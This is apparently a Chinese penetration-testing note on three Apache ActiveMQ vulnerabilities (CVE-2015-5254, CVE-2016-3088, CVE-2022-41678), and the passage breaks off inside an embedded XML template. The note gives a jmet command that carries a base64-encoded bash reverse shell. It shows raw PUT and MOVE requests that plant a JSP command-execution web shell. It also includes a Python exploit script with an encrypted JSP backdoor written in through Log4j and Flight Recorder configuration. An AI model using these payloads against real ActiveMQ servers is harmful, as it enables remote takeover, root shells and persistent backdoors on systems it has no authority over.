background

Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件;由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行

CVE-2015-5254

漏洞编号:CVE-2015-5254影响版本:Apache ActiveMQ 5.13.0之前5.x版本,https://www.cvedetails.com/cve/CVE-2015-5254/ 漏洞产生原因:该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

61616是工作端口,消息在这个端口进行传递; 8161是网络管理页面端口

默认账号密码 admin admin

image-20240430090419968

https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar 在工具的目录下创建一个 external的文件夹

image-20240430090443033

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMy4zMi84MDgwIDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.113.225 61616

image-20240430090455415

管理员查看即可触发漏洞

image-20240430090505022

成功接收到反弹shell 获取root权限

image-20240430090516104

CVE-2016-3088

漏洞编号:CVE-2016-3088

影响版本:Apache ActiveMQ 5.x~5.14.0https://www.cvedetails.com/cve/CVE-2016-3088/

漏洞产生原因:ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。

查看安装路径/admin/test/systemProperties.jsp

image-20240430090622670

上传文件

PUT /fileserver/2.jsp HTTP/1.1
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 320

<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

移动文件到可解析的目录

MOVE /fileserver/2.jsp HTTP/1.1
Destination:file:///opt/activemq/webapps/api/5.jsp
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Cookie: JSESSIONID=11hnhz9kdjydv1w5ci0qk8norl
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

getshell

image-20240430090720951

CVE-2022-41678

访问/api/jolokia/list这个API可以查看当前服务器里所有的MBeans(需要加origin)

image-20240430090842577

方法一:

使用org.apache.logging.log4j.core.jmx.LoggerContextAdminMBean,这是由Log4j2提供的一个MBean。

攻击者使用这个MBean中的setConfigText操作可以更改Log4j的配置,进而将日志文件写入任意目录中。

#!/usr/bin/env python3
import sys
import logging
import requests
import argparse
import time
from urllib.parse import urljoin
from html import escape

logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
webshell = ('<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}%>')
original_template = r'''<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%5p | %m%n"/>
</Console>
<RollingRandomAccessFile name="RollingFile" fileName="${sys:activemq.data}/activemq.log"
filePattern="${sys:activemq.data}/activemq.log.%i">
<PatternLayout pattern="%d | %-5p | %m | %c | %t%n%throwable{full}"/>
<Policies>
<SizeBasedTriggeringPolicy size="1MB"/>
</Policies>
</RollingRandomAccessFile>
<RollingRandomAccessFile name="AuditLog" fileName="${sys:activemq.data}/audit.log" filePattern="${sys:activemq.data}/audit.log.%i">
<PatternLayout pattern="%-5p | %m | %t%n"/>
<Policies>
<SizeBasedTriggeringPolicy size="1MB"/>
</Policies>
</RollingRandomAccessFile>
</Appenders>
<Loggers>
<Root level="INFO">
<AppenderRef ref="Console"/>
<AppenderRef ref="RollingFile"/>
</Root>
<Logger name="org.apache.activemq.spring" level="WARN"/>
<Logger name="org.apache.activemq.web.handler" level="WARN"/>
<Logger name="org.springframework" level="WARN"/>
<Logger name="org.apache.xbean" level="WARN"/>
<Logger name="org.eclipse.jetty" level="WARN"/>
<Logger name="org.apache.activemq.audit" level="INFO" additivity="false">
<AppenderRef ref="AuditLog"/>
</Logger>
<!-- Uncomment and modify as needed for ActiveMQ logger
<Logger name="org.apache.activemq" level="DEBUG"/>
-->
</Loggers>
</Configuration>
'''
evil_template = r'''<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%5p | %m%n"/>
</Console>
<RollingRandomAccessFile name="RollingFile" fileName="${sys:activemq.data}/../webapps/admin/shell.jsp"
filePattern="${sys:activemq.data}/../webapps/admin/shell.jsp.%i">
<PatternLayout pattern="%d | %-5p | %m | %c | %t%n%throwable{full}"/>
<Policies>
<SizeBasedTriggeringPolicy size="1MB"/>
</Policies>
</RollingRandomAccessFile>
<RollingRandomAccessFile name="AuditLog" fileName="${sys:activemq.data}/audit.log" filePattern="${sys:activemq.data}/audit.log.%i">
<PatternLayout pattern="%-5p | %m | %t%n"/>
<Policies>
<SizeBasedTriggeringPolicy size="1MB"/>
</Policies>
</RollingRandomAccessFile>
</Appenders>
<Loggers>
<Root level="INFO">
<AppenderRef ref="Console"/>
<AppenderRef ref="RollingFile"/>
</Root>
<Logger name="org.apache.activemq.spring" level="WARN"/>
<Logger name="org.apache.activemq.web.handler" level="WARN"/>
<Logger name="org.springframework" level="WARN"/>
<Logger name="org.apache.xbean" level="WARN"/>
<Logger name="org.eclipse.jetty" level="DEBUG"/>
<Logger name="org.apache.activemq.audit" level="INFO" additivity="false">
<AppenderRef ref="AuditLog"/>
</Logger>
<!-- Uncomment and modify as needed for ActiveMQ logger
<Logger name="org.apache.activemq" level="DEBUG"/>
-->
</Loggers>
</Configuration>
'''
record_template = r'''<?xml version="1.0" encoding="UTF-8"?>

<!--
Recommended way to edit .jfc files is to use Java Mission Control,
see Window -> Flight Recorder Template Manager.
-->

<configuration version="2.0" label="Continuous" description="Low overhead configuration safe for continuous use in production environments, typically less than 1 % overhead." provider="Oracle">

<event name="jdk.ThreadAllocationStatistics">
<setting name="enabled">true</setting>
<setting name="period"><![CDATA[||| '''+webshell+r''' |||]]></setting>
</event>

<event name="jdk.ClassLoadingStatistics">
<setting name="enabled">true</setting>
<setting name="period">1000 ms</setting>
</event>

<event name="jdk.ClassLoaderStatistics">
<setting name="enabled">true</setting>
<setting name="period">everyChunk</setting>
</event>

<event name="jdk.JavaThreadStatistics">
<setting name="enabled">true</setting>
<setting name="period">1000 ms</setting>
</event>

<event name="jdk.ThreadStart">
<setting name="enabled">true</setting>
<setting name="stackTrace">true</setting>
</event>

<event name="jdk.ThreadEnd">
<setting name="enabled">true</setting>
</event>

<event name="jdk.ThreadSleep">
<setting name="enabled">true</setting>
<setting name="stackTrace">true</setting>
<setting name="threshold" control="synchronization-threshold">20 ms</setting>
</event>

<event name="jdk.ThreadPark">
<setting name="enabled">true</setting>
<setting name="stackTrace">true</setting>
<setting name="threshold" control="synchronization-threshold">20 ms</setting>
</event>

<event name="jdk.JavaMonitorEnter">
<setting name="enabled">true</setting>
<setting name="stackTrace">true</setting>
<setting name="threshold" control="synchronization-threshold">20 ms</setting>
</event>

<event name="jdk.JavaMonitorWait">
<setting name="enabled">true</setting>
<setting name="stackTrace">true</setting>
<setting name="threshold" control="synchronization-threshold">20 ms</setting>
</event>

<event name="jdk.JavaMonitorInflate">
<setting name="enabled">false</setting>
<setting name="stackTrace">true</setting>
<setting name="threshold" control="synchronization-threshold">20 ms</setting>
</event>

<event name="jdk.BiasedLockRevocation">
<setting name="enabled">true</setting>
<setting name="stackTrace">true</setting>
<setting name="threshold">0 ms</setting>
</event>

<event name="jdk.BiasedLockSelfRevocation">
<setting name="enabled">true</setting>
<setting name="stackTrace">true</setting>
<setting name="threshold">0 ms</setting>
</event>

<event name="jdk.BiasedLockClassRevocation">
<setting name="enabled">true</setting>
<setting name="stackTrace">true</setting>
<setting name="threshold">0 ms</setting>
</event>

<event name="jdk.ReservedStackActivation">
<setting name="enabled">true</setting>
<setting name="stackTrace">true</setting>
</event>

<event name="jdk.ClassLoad">
<setting name="enabled" control="class-loading-enabled">false</setting>
<setting name="stackTrace">true</setting>
<setting name="threshold">0 ms</setting>
</event>

<event name="jdk.ClassDefine">
<setting name="enabled" control="class-loading-enabled">false</setting>
<setting name="stackTrace">true</setting>
</event>

<event name="jdk.ClassUnload">
<setting name="enabled" control="class-loading-enabled">false</setting>
</event>

<event name="jdk.JVMInformation">
<setting name="enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>

<event name="jdk.InitialSystemProperty">
<setting name="enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>

<event name="jdk.ExecutionSample">
<setting name="enabled" control="method-sampling-enabled">true</setting>
<setting name="period" control="method-sampling-java-interval">20 ms</setting>
</event>

<event name="jdk.NativeMethodSample">
<setting name="enabled" control="method-sampling-enabled">true</setting>
<setting name="period" control="method-sampling-native-interval">20 ms</setting>
</event>

<event name="jdk.SafepointBegin">
<setting name="enabled">true</setting>
<setting name="threshold">10 ms</setting>
</event>

<event name="jdk.SafepointStateSynchronization">
<setting name="enabled">false</setting>
<setting name="threshold">10 ms</setting>
</event>

<event name="jdk.SafepointWaitBlocked">
<setting name="enabled">false</setting>
<setting name="threshold">10 ms</setting>
</event>

<event name="jdk.SafepointCleanup">
<setting name="enabled">false</setting>
<setting name="threshold">10 ms</setting>
</event>

<event name="jdk.SafepointCleanupTask">
<setting name="enabled">false</setting>
<setting name="threshold">10 ms</setting>
</event>

<event name="jdk.SafepointEnd">
<setting name="enabled">false</setting>
<setting name="threshold">10 ms</setting>
</event>

<event name="jdk.ExecuteVMOperation">
<setting name="enabled">true</setting>
<setting name="threshold">10 ms</setting>
</event>

<event name="jdk.Shutdown">
<setting name="enabled">true</setting>
<setting name="stackTrace">true</setting>
</event>

<event name="jdk.ThreadDump">
<setting name="enabled" control="thread-dump-enabled">true</setting>
<setting name="period" control="thread-dump-interval">everyChunk</setting>
</event>

<event name="jdk.IntFlag">
<setting name="enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>

<event name="jdk.UnsignedIntFlag">
<setting name="enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>

<event name="jdk.LongFlag">
<setting name="enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>

<event name="jdk.UnsignedLongFlag">
<setting name="enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>

<event name="jdk.DoubleFlag">
<setting name="enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>

<event name="jdk.BooleanFlag">
<setting name="enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>

<event name="jdk.StringFlag">
<setting name="enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>

<event name="jdk.IntFlagChanged">
<setting name="enabled">true</setting>
</event>

<event name="jdk.UnsignedIntFlagChanged">
<setting name="enabled">true</setting>
</event>

<event name="jdk.LongFlagChanged">
<setting name="enabled">true</setting>
</event>

<event name="jdk.UnsignedLongFlagChanged">
<setting name="enabled">true</setting>
</event>

<event name="jdk.DoubleFlagChanged">
<setting name="enabled">true</setting>
</event>

<event name="jdk.BooleanFlagChanged">
<setting name="enabled">true</setting>
</event>

<event name="jdk.StringFlagChanged">
<setting name="enabled">true</setting>
</event>

<event name="jdk.ObjectCount">
<setting name="enabled" control="memory-profiling-enabled-all">false</setting>
<setting name="period">everyChunk</setting>
</event>

<event name="jdk.GCConfiguration">
<setting name="enabled" control="gc-enabled-normal">true</setting>
<setting name="period">everyChunk</setting>
</event>

<event name="jdk.GCHeapConfiguration">
<setting name="enabled" control="gc-enabled-normal">true</setting>
<setting name="period">beginChunk</setting>
</event>

<event name="jdk.YoungGenerationConfiguration">
<setting name="enabled" control="gc-enabled-normal">true</setting>
<setting name="period">beginChunk</setting>
</event>

<event name="jdk.GCTLABConfiguration">
<setting name="enabled" control="gc-enabled-normal">true</setting>
<setting name="period">beginChunk</setting>
</event>

<event name="jdk.GCSurvivorConfiguration">
<setting name="enabled" control="gc-enabled-normal">true</setting>
<setting name="period">beginChunk</setting>
</event>

<event name="jdk.ObjectCountAfterGC">
<setting name="enabled">false</setting>
</event>

<event name="jdk.GCHeapSummary">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>

<event name="jdk.PSHeapSummary">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>

<event name="jdk.G1HeapSummary">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>

<event name="jdk.MetaspaceSummary">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>

<event name="jdk.MetaspaceGCThreshold">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>

<event name="jdk.MetaspaceAllocationFailure">
<setting name="enabled" control="gc-enabled-normal">true</setting>
<setting name="stackTrace">true</setting>
</event>

<event name="jdk.MetaspaceOOM">
<setting name="enabled" control="gc-enabled-normal">true</setting>
<setting name="stackTrace">true</setting>
</event>

<event name="jdk.MetaspaceChunkFreeListSummary">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>

<event name="jdk.GarbageCollection">
<setting name="enabled" control="gc-enabled-normal">true</setting>
<setting name="threshold">0 ms</setting>
</event>

<event name="jdk.ParallelOldGarbageCollection">
<setting name="enabled" control="gc-enabled-normal">true</setting>
<setting name="threshold">0 ms</setting>
</event>

<event name="jdk.YoungGarbageCollection">
<setting name="enabled" control="gc-enabled-normal">true</setting>
<setting name="threshold">0 ms</setting>
</event>

<event name="jdk.OldGarbageCollection">
<setting name="enabled" control="gc-enabled-normal">true</setting>
<setting name="threshold">0 ms</setting>
</event>

<event name="jdk.G1GarbageCollection">
<setting name="enabled" control="gc-enabled-normal">true</setting>
<setting name="threshold">0 ms</setting>
</event>

<event name="jdk.GCPhasePause">
<setting name="enabled" control="gc-enabled-normal">true</setting>
<setting name="threshold">0 ms</setting>
</event>

<event name="jdk.GCPhasePauseLevel1">
<setting name="enabled" control="gc-enabled-normal">true</setting>
<setting name="threshold">0 ms</setting>
</event>

<event name="jdk.GCPhasePauseLevel2">
<setting name="enabled" control="gc-enabled-normal">true</setting>
<setting name="threshold">0 ms</setting>
</event>

<event name="jdk.GCPhasePauseLevel3">
<setting name="enabled" control="gc-enabled-all">false</setting>
<setting name="threshold">0 ms</setting>
</event>

<event name="jdk.GCPhasePauseLevel4">
<setting name="enabled" control="gc-enabled-all">false</setting>
<setting name="threshold">0 ms</setting>
</event>

<event name="jdk.GCPhaseConcurrent">
<setting name="enabled" control="gc-enabled-all">true</setting>
<setting name="threshold">0 ms</setting>
</event>

<event name="jdk.GCReferenceStatistics">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>

<event name="jdk.PromotionFailed">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>

<event name="jdk.EvacuationFailed">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>

<event name="jdk.EvacuationInformation">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>

<event name="jdk.G1MMU">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>

<event name="jdk.G1EvacuationYoungStatistics">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>

<event name="jdk.G1EvacuationOldStatistics">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>

<event name="jdk.G1BasicIHOP">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>

<event name="jdk.G1AdaptiveIHOP">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>

<event name="jdk.PromoteObjectInNewPLAB">
<setting name="enabled" control="memory-profiling-enabled-medium">false</setting>
</event>

<event name="jdk.PromoteObjectOutsidePLAB">
<setting name="enabled" control="memory-profiling-enabled-medium">false</setting>
</event>

<event name="jdk.ConcurrentModeFailure">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>

<event name="jdk.AllocationRequiringGC">
<setting name="enabled" control="gc-enabled-all">false</setting>
<setting name="stackTrace">true</setting>
</event>

<event name="jdk.TenuringDistribution">
<setting name="enabled" control="gc-enabled-normal">true</setting>
</event>

<event name="jdk.G1HeapRegionInformation">
<setting name="enabled" control="gc-enabled-all">false</setting>
<setting name="period">everyChunk</setting>
</event>

<event name="jdk.G1HeapRegionTypeChange">
<setting name="enabled" control="gc-enabled-all">false</setting>
</event>

<event name="jdk.ShenandoahHeapRegionInformation">
<setting name="enabled" control="gc-enabled-all">false</setting>
<setting name="period">everyChunk</setting>
</event>

<event name="jdk.ShenandoahHeapRegionStateChange">
<setting name="enabled" control="gc-enabled-all">false</setting>
</event>

<event name="jdk.OldObjectSample">
<setting name="enabled" control="memory-leak-detection-enabled">true</setting>
<setting name="stackTrace" control="memory-leak-detection-stack-trace">false</setting>
<setting name="cutoff" control="memory-leak-detection-cutoff">0 ns</setting>
</event>

<event name="jdk.CompilerConfiguration">
<setting name="enabled" control="compiler-enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>

<event name="jdk.CompilerStatistics">
<setting name="enabled" control="compiler-enabled">true</setting>
<setting name="period">1000 ms</setting>
</event>

<event name="jdk.Compilation">
<setting name="enabled" control="compiler-enabled">true</setting>
<setting name="threshold" control="compiler-compilation-threshold">1000 ms</setting>
</event>

<event name="jdk.CompilerPhase">
<setting name="enabled" control="compiler-enabled">true</setting>
<setting name="threshold" control="compiler-phase-threshold">60 s</setting>
</event>

<event name="jdk.CompilationFailure">
<setting name="enabled" control="compiler-enabled-failure">false</setting>
</event>

<event name="jdk.CompilerInlining">
<setting name="enabled" control="compiler-enabled-failure">false</setting>
</event>

<event name="jdk.CodeSweeperConfiguration">
<setting name="enabled" control="compiler-enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>

<event name="jdk.CodeSweeperStatistics">
<setting name="enabled" control="compiler-enabled">true</setting>
<setting name="period">everyChunk</setting>
</event>

<event name="jdk.SweepCodeCache">
<setting name="enabled" control="compiler-enabled">true</setting>
<setting name="threshold" control="compiler-sweeper-threshold">100 ms</setting>
</event>

<event name="jdk.CodeCacheConfiguration">
<setting name="enabled" control="compiler-enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>

<event name="jdk.CodeCacheStatistics">
<setting name="enabled" control="compiler-enabled">true</setting>
<setting name="period">everyChunk</setting>
</event>

<event name="jdk.CodeCacheFull">
<setting name="enabled" control="compiler-enabled">true</setting>
</event>

<event name="jdk.OSInformation">
<setting name="enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>

<event name="jdk.VirtualizationInformation">
<setting name="enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>

<event name="jdk.CPUInformation">
<setting name="enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>

<event name="jdk.ThreadContextSwitchRate">
<setting name="enabled" control="compiler-enabled">true</setting>
<setting name="period">10 s</setting>
</event>

<event name="jdk.CPULoad">
<setting name="enabled">true</setting>
<setting name="period">1000 ms</setting>
</event>

<event name="jdk.ThreadCPULoad">
<setting name="enabled">true</setting>
<setting name="period">10 s</setting>
</event>

<event name="jdk.CPUTimeStampCounter">
<setting name="enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>

<event name="jdk.SystemProcess">
<setting name="enabled">true</setting>
<setting name="period">endChunk</setting>
</event>

<event name="jdk.NetworkUtilization">
<setting name="enabled">true</setting>
<setting name="period">5 s</setting>
</event>

<event name="jdk.InitialEnvironmentVariable">
<setting name="enabled">true</setting>
<setting name="period">beginChunk</setting>
</event>

<event name="jdk.PhysicalMemory">
<setting name="enabled">true</setting>
<setting name="period">everyChunk</setting>
</event>

<event name="jdk.ObjectAllocationInNewTLAB">
<setting name="enabled" control="memory-profiling-enabled-medium">false</setting>
<setting name="stackTrace">true</setting>
</event>

<event name="jdk.ObjectAllocationOutsideTLAB">
<setting name="enabled" control="memory-profiling-enabled-medium">false</setting>
<setting name="stackTrace">true</setting>
</event>

<event name="jdk.NativeLibrary">
<setting name="enabled">true</setting>
<setting name="period">everyChunk</setting>
</event>

<event name="jdk.ModuleRequire">
<setting name="enabled">true</setting>
<setting name="period">endChunk</setting>
</event>

<event name="jdk.ModuleExport">
<setting name="enabled">true</setting>
<setting name="period">endChunk</setting>
</event>

<event name="jdk.FileForce">
<setting name="enabled">true</setting>
<setting name="stackTrace">true</setting>
<setting name="threshold" control="file-io-threshold">20 ms</setting>
</event>

<event name="jdk.FileRead">
<setting name="enabled">true</setting>
<setting name="stackTrace">true</setting>
<setting name="threshold" control="file-io-threshold">20 ms</setting>
</event>

<event name="jdk.FileWrite">
<setting name="enabled">true</setting>
<setting name="stackTrace">true</setting>
<setting name="threshold" control="file-io-threshold">20 ms</setting>
</event>

<event name="jdk.SocketRead">
<setting name="enabled">true</setting>
<setting name="stackTrace">true</setting>
<setting name="threshold" control="socket-io-threshold">20 ms</setting>
</event>

<event name="jdk.SocketWrite">
<setting name="enabled">true</setting>
<setting name="stackTrace">true</setting>
<setting name="threshold" control="socket-io-threshold">20 ms</setting>
</event>

<event name="jdk.SecurityPropertyModification">
<setting name="enabled">false</setting>
<setting name="stackTrace">true</setting>
</event>

<event name="jdk.TLSHandshake">
<setting name="enabled">false</setting>
<setting name="stackTrace">true</setting>
</event>

<event name="jdk.X509Validation">
<setting name="enabled">false</setting>
<setting name="stackTrace">true</setting>
</event>

<event name="jdk.X509Certificate">
<setting name="enabled">false</setting>
<setting name="stackTrace">true</setting>
</event>

<event name="jdk.JavaExceptionThrow">
<setting name="enabled" control="enable-exceptions">false</setting>
<setting name="stackTrace">true</setting>
</event>

<event name="jdk.JavaErrorThrow">
<setting name="enabled" control="enable-errors">true</setting>
<setting name="stackTrace">true</setting>
</event>

<event name="jdk.ExceptionStatistics">
<setting name="enabled">true</setting>
<setting name="period">1000 ms</setting>
</event>

<event name="jdk.ActiveRecording">
<setting name="enabled">true</setting>
</event>

<event name="jdk.ActiveSetting">
<setting name="enabled">true</setting>
</event>

<event name="jdk.DataLoss">
<setting name="enabled">true</setting>
</event>

<event name="jdk.DumpReason">
<setting name="enabled">true</setting>
</event>

<event name="jdk.ZPageAllocation">
<setting name="enabled">true</setting>
<setting name="threshold">10 ms</setting>
</event>

<event name="jdk.ZThreadPhase">
<setting name="enabled">true</setting>
<setting name="threshold">0 ms</setting>
</event>

<event name="jdk.ZStatisticsCounter">
<setting name="enabled">true</setting>
<setting name="threshold">10 ms</setting>
</event>

<event name="jdk.ZStatisticsSampler">
<setting name="enabled">true</setting>
<setting name="threshold">10 ms</setting>
</event>

<!--
Contents of the control element is not read by the JVM, it's used
by Java Mission Control to change settings that carry the control attribute.
-->
<control>
<selection name="gc-level" default="detailed" label="Garbage Collector">
<option label="Off" name="off">off</option>
<option label="Normal" name="detailed">normal</option>
<option label="All" name="all">all</option>
</selection>

<condition name="gc-enabled-normal" true="true" false="false">
<or>
<test name="gc-level" operator="equal" value="normal"/>
<test name="gc-level" operator="equal" value="all"/>
</or>
</condition>

<condition name="gc-enabled-all" true="true" false="false">
<test name="gc-level" operator="equal" value="all"/>
</condition>

<selection name="memory-profiling" default="off" label="Memory Profiling">
<option label="Off" name="off">off</option>
<option label="Object Allocation and Promotion" name="medium">medium</option>
<option label="All, including Heap Statistics (May cause long full GCs)" name="all">all</option>
</selection>

<condition name="memory-profiling-enabled-medium" true="true" false="false">
<or>
<test name="memory-profiling" operator="equal" value="medium"/>
<test name="memory-profiling" operator="equal" value="all"/>
</or>
</condition>

<condition name="memory-profiling-enabled-all" true="true" false="false">
<test name="memory-profiling" operator="equal" value="all"/>
</condition>

<selection name="compiler-level" default="normal" label="Compiler">
<option label="Off" name="off">off</option>
<option label="Normal" name="normal">normal</option>
<option label="Detailed" name="detailed">detailed</option>
<option label="All" name="all">all</option>
</selection>

<condition name="compiler-enabled" true="false" false="true">
<test name="compiler-level" operator="equal" value="off"/>
</condition>

<condition name="compiler-enabled-failure" true="true" false="false">
<or>
<test name="compiler-level" operator="equal" value="detailed"/>
<test name="compiler-level" operator="equal" value="all"/>
</or>
</condition>

<condition name="compiler-sweeper-threshold" true="0 ms" false="100 ms">
<test name="compiler-level" operator="equal" value="all"/>
</condition>

<condition name="compiler-compilation-threshold" true="1000 ms">
<test name="compiler-level" operator="equal" value="normal"/>
</condition>

<condition name="compiler-compilation-threshold" true="100 ms">
<test name="compiler-level" operator="equal" value="detailed"/>
</condition>

<condition name="compiler-compilation-threshold" true="0 ms">
<test name="compiler-level" operator="equal" value="all"/>
</condition>

<condition name="compiler-phase-threshold" true="60 s">
<test name="compiler-level" operator="equal" value="normal"/>
</condition>

<condition name="compiler-phase-threshold" true="10 s">
<test name="compiler-level" operator="equal" value="detailed"/>
</condition>

<condition name="compiler-phase-threshold" true="0 s">
<test name="compiler-level" operator="equal" value="all"/>
</condition>

<selection name="method-sampling-interval" default="normal" label="Method Sampling">
<option label="Off" name="off">off</option>
<option label="Normal" name="normal">normal</option>
<option label="High" name="high">high</option>
<option label="Ludicrous (High Overhead)" name="ludicrous">ludicrous</option>
</selection>

<condition name="method-sampling-java-interval" true="999 d">
<test name="method-sampling-interval" operator="equal" value="off"/>
</condition>

<condition name="method-sampling-java-interval" true="20 ms">
<test name="method-sampling-interval" operator="equal" value="normal"/>
</condition>

<condition name="method-sampling-java-interval" true="10 ms">
<test name="method-sampling-interval" operator="equal" value="high"/>
</condition>

<condition name="method-sampling-java-interval" true="1 ms">
<test name="method-sampling-interval" operator="equal" value="ludicrous"/>
</condition>

<condition name="method-sampling-native-interval" true="999 d">
<test name="method-sampling-interval" operator="equal" value="off"/>
</condition>

<condition name="method-sampling-native-interval" true="20 ms">
<or>
<test name="method-sampling-interval" operator="equal" value="normal"/>
<test name="method-sampling-interval" operator="equal" value="high"/>
<test name="method-sampling-interval" operator="equal" value="ludicrous"/>
</or>
</condition>

<condition name="method-sampling-enabled" true="false" false="true">
<test name="method-sampling-interval" operator="equal" value="off"/>
</condition>

<selection name="thread-dump-interval" default="normal" label="Thread Dump">
<option label="Off" name="off">999 d</option>
<option label="At least Once" name="normal">everyChunk</option>
<option label="Every 60 s" name="everyMinute">60 s</option>
<option label="Every 10 s" name="everyTenSecond">10 s</option>
<option label="Every 1 s" name="everySecond">1 s</option>
</selection>

<condition name="thread-dump-enabled" true="false" false="true">
<test name="thread-dump-interval" operator="equal" value="999 d"/>
</condition>

<selection name="exception-level" default="errors" label="Exceptions">
<option label="Off" name="off">off</option>
<option label="Errors Only" name="errors">errors</option>
<option label="All Exceptions, including Errors" name="all">all</option>
</selection>

<condition name="enable-errors" true="true" false="false">
<or>
<test name="exception-level" operator="equal" value="errors"/>
<test name="exception-level" operator="equal" value="all"/>
</or>
</condition>

<condition name="enable-exceptions" true="true" false="false">
<test name="exception-level" operator="equal" value="all"/>
</condition>

<selection name="memory-leak-detection" default="minimal" label="Memory Leak Detection">
<option label="Off" name="off">off</option>
<option label="Object Types" name="minimal">minimal</option>
<option label="Object Types + Allocation Stack Traces" name="medium">medium</option>
